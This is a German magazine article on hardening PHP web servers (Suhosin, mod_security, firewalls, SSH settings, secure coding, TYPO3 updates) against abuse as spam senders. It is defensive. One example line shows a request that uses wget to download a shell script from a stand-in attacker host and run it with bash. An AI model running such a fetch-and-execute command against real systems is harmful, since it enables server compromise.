Anzeige
Anzeige
Software & Entwicklung
Artikel merken

Unsichere Webapplikationen machen Webserver zu Spam-Schleudern: Schaden vermeiden durch mehr Serversicherheit

Mit dem Einsatz von unsicheren Webapplikationen kann jeder Webserver zur Spam-Schleuder werden. Das wiederum belastet den Ruf des Unternehmens und verursacht möglicherweise sogar finanziellen Schaden. Vor allem die bekannten Sicherheitslücken verbreiteter Software sind gefährdete Schwachstellen. Mit dem Einsatz von Firewalls, mit einem durch die Suhosin-Extension gehärteten PHP und mit weiteren Maßnahmen kann den Gefahren aber begegnet werden.

9 Min. Lesezeit
Anzeige
Anzeige

Zwar wird der größte Teil der UBE durch infizierte Desktop-PCs verschickt, die durch
Botnetze gesteuert werden [1]. Zunehmend wird aber ein nicht
unerheblicher Teil mit Hilfe von unsicher
programmierten Webapplikationen verbreitet. Die Folgen: Millionen Menschen erhalten eine UBE mit einem Absender nach dem Muster wwwrun@ihrefirma.ch. Vielleicht steht sogar in der E-Mail die Anschrift des Unternehmens und nun stellen Sie sich vor, es handelt sich um Ihr Unternehmen. Bedenken Sie, was das für den Ruf des Unternehmens bedeuten kann. Sogar ein Serviceausfall ist wahrscheinlich, und auch das wirkt sich negativ aus. Unter Umständen, je nach Hosting- beziehungsweise Anbindungsvertrag, ist neben dem Imageschaden zusätzlich sogar ein finanzieller Schaden durch einen erhöhten Traffic zu erwarten. Auch gehen Anbieter von DNS-Blacklisten immer rabiater gegen UBE-Versender und deren (potenziellen) Unterstützer vor, so wie Anfang Juni 2007 bei der Blockierung von nic.at durch spamhaus.org. Mehrere Blacklisten setzen ganze Unternehmensnetzwerke auf ihre Listen, so wird unter Umständen die Kommunikation per E-Mail mit Ihren Kunden erschwert, wenn nicht sogar unmöglich.

Die Ursachen

Anzeige
Anzeige

Viele so genannte „Profi-Programmierer“ schimpfen über PHP als generell unsichere Sprache. Das stimmt zwar so nicht, doch muss der PHP-Implementierung von Zend eine mangelnde Sicherheitskultur vorgeworfen werden. Wochenlang nachdem Sicherheitslücken entdeckt und zum Teil korrigiert wurden, sind sie im CVS Repository [2] vor dem nächsten Release öffentlich einsehbar. In den Release Notes wird zudem vielfach vergessen, die gestopften Lücken zu erwähnen. Die Systemadministratoren erkennen dann die Ernsthaftigkeit der Lage nicht und warten mit dem Update. Mehr und tiefere Informationen zu dem Thema können in Stefan Essers Blog [3] nachgelesen werden. Insgesamt gilt, dass unsorgfältige Programmierung die häufigste Ursache für verwundbare Webapplikationen ist, egal in welcher Programmiersprache sie geschrieben sind.

Seit PHP Version 4.2.0 ist in der „php.ini“ der Parameter „register_globals“ ausgeschaltet, dadurch können Variablen nicht mehr so einfach per „GET“- oder „POST“-Requests überladen werden. Da wegen Bequemlichkeit und dem Vorhandensein von alten Applikationen der Parameter oft eingeschaltet wird, können Variablen mit anderen Werten überschrieben werden. Ein Beispiel dafür finden Sie auf der Website des PHP-Projekts [4]. Das Ergebnis einer Suche in der Suchmaschine Ihres Vertrauens nach „register_globals“ spricht Bände.

Anzeige
Anzeige

Eine weitere beliebte Methode zum Missbrauch sind Header-Injections bei der Funktion „mail()“, speziell bei Webformularen, die eine E-Mail verschicken. Als Beispiele dafür seien Kontaktformulare und Tip-a-Friend-Funktionen genannt. Wenn die Benutzereingaben nicht sorgfältig überprüft werden, können unter Umständen die Variablen, die die mail()-Parameter „$to“ und „$additional_headers“ befüllen, abgeändert werden.

Anzeige
Anzeige

Schlecht aufgesetzte und gewartete Systeme sind ein weiteres Problem. Vielfach werden von schlecht qualifiziertem Personal Standardinstallationen vorgenommen, die eher einem Desktop als einem Server entsprechen, inklusive X11 und anderer nicht benötigter Services. Je mehr von den Diensten laufen, desto höher ist das Risiko, dass eine Schwachstelle auf dem System vorhanden ist, die nicht korrigiert oder noch nicht einem breiten Personenkreis bekannt ist. In letzterem Fall spricht man von „Zero day exploits“. Viele Systeme werden nicht regelmäßig auf den neusten Stand gebracht, nach dem Motto „Never touch a running system“ (Ändere nie ein laufendes System). Solche Philosophien sind aber gefährlich, ebenso wie die häufig verwendeten Passwörter: „123“, „schatzi“ „qwerz“ oder „asdf“. Sie und einige andere Begriffe werden bei SSH- oder FTP-Bruteforce-Attacken gerne benutzt.

Die Methoden zum Exploit

UBE-Versender nutzen meist recht triviale Werkzeuge zum Erreichen ihrer Ziele, unter anderem Suchmaschinen wie Google. Es wird nach potenziellen Zielen wie Kontaktformularen gesucht, die meistens kontakt.html oder ähnlich heißen. Eine Liste der gefundenen URLs wird in einem nächsten Schritt teil- oder gar vollautomatisiert auf Verwundbarkeiten untersucht. Je nach gefundener Lücke werden die URLs entsprechend verwendet.

Anzeige
Anzeige

Ähnlich verhält es sich beim Suchen nach bekannten Verwundbarkeiten, die es dem Angreifer erlauben, Software auf dem System zu installieren. Im Erfolgsfall wird häufig ein zweiter SSH Daemon auf einem „Highport“ (>1024) installiert. Auf diese Weise geknackte Server eignen sich hervorragend für DDoS-Attacken und zum Versenden von UBE.

Durch SSH- und FTP-„Probing“
werden SSH- beziehungsweise FTP-Zugänge mittels Bruteforce-Methode gescannt. Hier werden die bekanntesten Benutzernamen und Passwörter aus einem Wörterbuch solange durchprobiert, bis ein Erfolg eintritt. Die Logdateien zeigen vielfach mehrere hundert Versuche pro Minute.

Wirksame Symptombekämpfung

Bei der Bekämpfung muss zwischen Symptom und Ursache unterschieden werden. Im Grunde genommen gibt es wenig Mittel für die Ursachenbekämpfung, da jede Komponente im Software Stack Lücken haben kann, die (noch) niemand kennt. Daher wird bei den Lösungsansätzen von Symptombekämpfung und Prävention gesprochen. Symptombekämpfung, weil ein Webentwickler selten in der Lage ist, im Quellcode von PHP Sicherheitslücken zu erkennen und zu korrigieren. Ebenfalls sind eine Menge von älteren Applikationen vorhanden, die nicht sofort, sondern erst zu einem späteren Zeitpunkt ersetzt werden können. Für die Prävention bedarf es fundierter und tiefgehender PHP-Kenntnisse.

Anzeige
Anzeige

Stefan Esser ist ein bekannter und anerkannter PHP Sicherheitsspezialist. Dank seiner Erkenntnisse als vormaliges Mitglied des PHP-Security-Response-Teams kennt er die Problematik der mangelnden Sicherheitskultur gut. Vor einiger Zeit erschuf er das „Hardened PHP“-Projekt. Es wird inzwischen als Open-Source-Produkt von der SektionEins GmbH unter dem Namen „Suhosin“ weiterentwickelt. Das Ziel von Suhosin, das aus einem Patch für PHP und einer Zend-Extension besteht, ist das Ausbügeln der schlimmsten PHP-Fehler und die Prävention gegen das Ausnutzen von bekannten und unbekannten potenziellen Lücken. Eine der Funktionen ist zum Beispiel das Verhindern von Double Newlines, die beim Exploit der „mail()-Lücke“ benötigt werden. Ebenfalls nützlich ist eine Funktion, die das Hochladen von ausführbaren Linux-Binärdateien (ELF) unterbindet.

Damit eine Applikation nicht plötzlich ausfällt, kennt Suhosin einen Alerting-Modus, bei dem eine Warnung in die Logdatei geschrieben wird, die Funktion aber trotzdem ausgeführt wird. Das Apache-Modul „mod_security“ kann als simples Apache-IDS (Intrusion Detection System) und -IPS (Intrusion Prevention System) verwendet werden. Die Konfiguration kann sich allerdings als schwierig erweisen, da „false-positives“ nicht erwünscht sind. Mod_security filtert Anfragen wie „http://www.example.com/cmd.php?wget%20http://www.angreifer.ru/schadcode.sh;bash%20/tmp/schadcode.sh“, die (beispielhaft) ein Shellscript von einem Server herunterlädt und ausführt.

Firewalls können sowohl zwischen Netzwerken als auch auf dem Host selber installiert werden. Fragen Sie Ihren Hostinganbieter oder Systemadministrator, ob eine Firewall im Netz eingerichtet ist. Aber selbst eine einfache Firewall auf dem Server (Hostbased Firewall) kann einen erheblichen Sicherheitsgewinn darstellen. So lässt sich das Nachladen von Schadcode stark erschweren, indem die Firewall zum Beispiel mit dem Sperren von eingehenden Verbindungen auf Port 6667 (IRC) verhindert, dass ein geknackter Server Befehle zum Nachladen von Schadcode und dessen Ausführung erhält. Ausgehende Zugriffe auf Port 80 sollten auf Ausnahmen wie das TER (TYPO3 Extension Repository) und Ähnliches beschränkt sein. Generell gilt: Nur diejenigen Ports sollten offen sein, die für den regulären Betrieb des Servers notwendig sind. Der Verkehr auf Port 25 (SMTP) sollte mit einem Monitor beobachtet werden, der bei verdächtig hohem Verkehr Alarm schlägt. So kann ein UBE-Ausbruch früh erkannt und gestoppt werden.

Anzeige
Anzeige

Das Verlegen des SSH-Ports vom Standardport 22 auf einen anderen verfügbaren Port vermindert automatisierte Bruteforce Attacken auf SSH, hilft jedoch nicht gegen unsichere Passwörter. Auf jeden Fall vemeidet es das Zumüllen der Logdateien. Es dürfte allerdings nur eine Frage der Zeit sein, bis kriminelle Subjekte SSH-Daemons auch gezielt auf anderen Ports suchen. Mit folgendem Befehl lässt sich herausfinden, ob auf einem Port SSH läuft:

SHELL
:~> telnet localhost 1122
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
SSH-1.99-OpenSSH_4.4

Listing 1

Bessere, aber auch komplexere Alternativen sind Applikationen wie SSHguard [5], die gescheiterte Loginversuche erkennen und entsprechend die IP-Adresse mittels „iptables“ sperren. Die Skripte bergen allerdings auch die Gefahr, sich selber auszusperren.

Prävention

Verhütungsmaßnahmen sind das Wichtigste. Sie sind aber oft nicht sofort durchführbar, vor allem, wenn vorhandene, unverzichtbare Software im Einsatz ist. So bleibt das sichere Programmieren das A und O in Sachen Sicherheit. Viele in PHP oder auch Perl geschriebene Programme starten als schneller Hack und werden dann oft über Jahre hin erweitert und unverzichtbar. Darum muss jedes noch so kleine Softwareprojekt, und seien es auch nur 20 Zeilen Code, mit dem Aspekt Sicherheit im Hinterkopf entwickelt werden. Insbesondere Benutzereingaben sind unsicher und sollten entsprechend behandelt werden, um SQL Injections oder unerwünschte Systemaufrufe zu verhindern. PHP bietet ein paar Hausmittel wie die Funktion „addslashes()“ und im Falle von MySQL auch „mysql_real_escape_string()“. Zusätzlich helfen auch reguläre Ausdrücke, um Benutzereingaben entsprechend zu filtern. Bei größeren Softwareprojekten ist es sinnvoll, durch nicht im Projekt
involvierte Personen Sicherheitsaudits durchführen zu lassen.

Anzeige
Anzeige

Aus Bequemlichkeit wird oft nicht die Ausgabe von PHP-Fehlermeldungen unterdrückt. Das erlaubt einem Angreifer, Informationen über das System zu sammeln, denn die Fehlermeldungen können kritische Informationen über das Skript, über Datenbankverbindungen und so weiter anzeigen. Daher ist es ratsam, in der „php.ini“ den Parameter „display_errors = Off“ zu setzen. Die Fehlermeldungen gehören in ein Systemlog. Das kann in der php.ini entsprechend konfiguriert werden.

Sicherheit in TYPO3

Auch TYPO3 ist in der Basisinstallation nicht sicher. Glücklicherweise werden im Backend von TYPO3 Hinweise auf eventuelle Versäumnisse gegeben. Alles was nach dem Login ins Backend in der gelben Box angezeigt wird, muss dringend angegangen werden. Wie im Juli 2007 bekannt wurde, wird die Pflege von PHP Version 4 zum Ende des Jahres eingestellt werden. Zwar verspricht das Entwicklungsteam, bis August 2008 noch kritische Sicherheitslücken zu schließen, wie kritisch sie aber sein müssen, damit sie behoben werden, wird allerdings nicht erwähnt. Da TYPO3 Mitglied der Initiative „Go PHP 5“ [6] ist, dürften jedoch bis zu dem Zeitpunkt die meisten der noch nicht PHP5-kompatiblen Extentions entsprechend aktualisiert werden.

Es wird für viele Webanwendungen eine Herausforderung sein, die bestehenden TYPO3-Installationen fit zu machen für PHP5, denn gegebenenfalls sind etliche, unterschiedliche Kompatibilitäten in Bezug auf die eingesetzen Erweiterungen zu beachten. Extensions wie
„static_info_tables“ sind beispielsweise erst in neueren Versionen mit PHP 5.2
kompatibel. Andere populäre Software wie osCommerce haben ebenfalls Probleme mit PHP5. Auch hier müssen Projekte gestartet werden,
um die Migration bis zum Ende des Jahres 2007, spätestens bis August 2008 zu schaffen. Die zu erwartenden Anpassungen halten sich meistens in Grenzen, denn
es sind vor allem die Behandlungen von Klassen und Arrays zu beachten. Doch die Arbeit muss nun angegangen werden und das gilt auch für Eigenentwicklungen. Bis Ende des Jahres ist noch (!) genügend Zeit für die Portierung und ausgiebiges Testen.

Anzeige
Anzeige

Regelmäßige Updates und Passwörter

Regelmäßige Systemupdates sind essentiell. Es gibt nach wie vor viele produktive Systeme, die auf Debian Woody, Redhat 7.2 oder anderen nicht mehr gewarteten Distributionen laufen. Solche Systeme müssen dringend auf eine moderne Distribution aktualisiert werden. Auch sollte jeder Programmierer und Systemadministrator in seinem Gebiet
auf dem Laufenden bleiben. Es existieren verschiedene Quellen für
entsprechende Informationen. Das TYPO3-Security-Team kündigt Sicherheitslücken
auf der Mailingliste

„TYPO3 announce“ an [7] und alle verantwortungsbewussten TYPO3-Sysadmins und -Programmierer
haben die Liste abonniert. Seit Anfang Juli 2007 gibt es auf
dem offiziellen TYPO3-Blog eine eigene Kategorie „Security“ [8], in der Sicherheitsthemen rund um TYPO3 behandelt werden. Weitere wichtige Websites sind Securityfocus (englisch) [9] und Heise Security.

Meistens haben nur wenige Personen Systemzugriff und zum Glück ist das Thema Telnet mittlerweile erledigt. Doch auch beim Zugriff via SSH ist Sorgfalt geboten. Die meisten neueren Linux-Distributionen lassen sich so einrichten, dass Passwörter ein Minimum an Komplexität haben müssen und in keinem Wörterbuch stehen dürfen. Am vorteilhaftesten ist, zusätzlich den Admin-Login nur mittels public-key-Authentifizierung zuzulassen.

Mehr zu diesem Thema
Fast fertig!

Bitte klicke auf den Link in der Bestätigungsmail, um deine Anmeldung abzuschließen.

Du willst noch weitere Infos zum Newsletter? Jetzt mehr erfahren

Anzeige
Anzeige
Schreib den ersten Kommentar!
Bitte beachte unsere Community-Richtlinien

Wir freuen uns über kontroverse Diskussionen, die gerne auch mal hitzig geführt werden dürfen. Beleidigende, grob anstößige, rassistische und strafrechtlich relevante Äußerungen und Beiträge tolerieren wir nicht. Bitte achte darauf, dass du keine Texte veröffentlichst, für die du keine ausdrückliche Erlaubnis des Urhebers hast. Ebenfalls nicht erlaubt ist der Missbrauch der Webangebote unter t3n.de als Werbeplattform. Die Nennung von Produktnamen, Herstellern, Dienstleistern und Websites ist nur dann zulässig, wenn damit nicht vorrangig der Zweck der Werbung verfolgt wird. Wir behalten uns vor, Beiträge, die diese Regeln verletzen, zu löschen und Accounts zeitweilig oder auf Dauer zu sperren.

Trotz all dieser notwendigen Regeln: Diskutiere kontrovers, sage anderen deine Meinung, trage mit weiterführenden Informationen zum Wissensaustausch bei, aber bleibe dabei fair und respektiere die Meinung anderer. Wir wünschen Dir viel Spaß mit den Webangeboten von t3n und freuen uns auf spannende Beiträge.

Dein t3n-Team

Melde dich mit deinem t3n Account an oder fülle die unteren Felder aus.

Bitte schalte deinen Adblocker für t3n.de aus!
Hallo und herzlich willkommen bei t3n!

Bitte schalte deinen Adblocker für t3n.de aus, um diesen Artikel zu lesen.

Wir sind ein unabhängiger Publisher mit einem Team von mehr als 75 fantastischen Menschen, aber ohne riesigen Konzern im Rücken. Banner und ähnliche Werbemittel sind für unsere Finanzierung sehr wichtig.

Schon jetzt und im Namen der gesamten t3n-Crew: vielen Dank für deine Unterstützung! 🙌

Deine t3n-Crew

Anleitung zur Deaktivierung
Artikel merken

Bitte melde dich an, um diesen Artikel in deiner persönlichen Merkliste auf t3n zu speichern.

Jetzt registrieren und merken

Du hast schon einen t3n-Account? Hier anmelden

oder
Auf Mastodon teilen

Gib die URL deiner Mastodon-Instanz ein, um den Artikel zu teilen.

Anzeige
Anzeige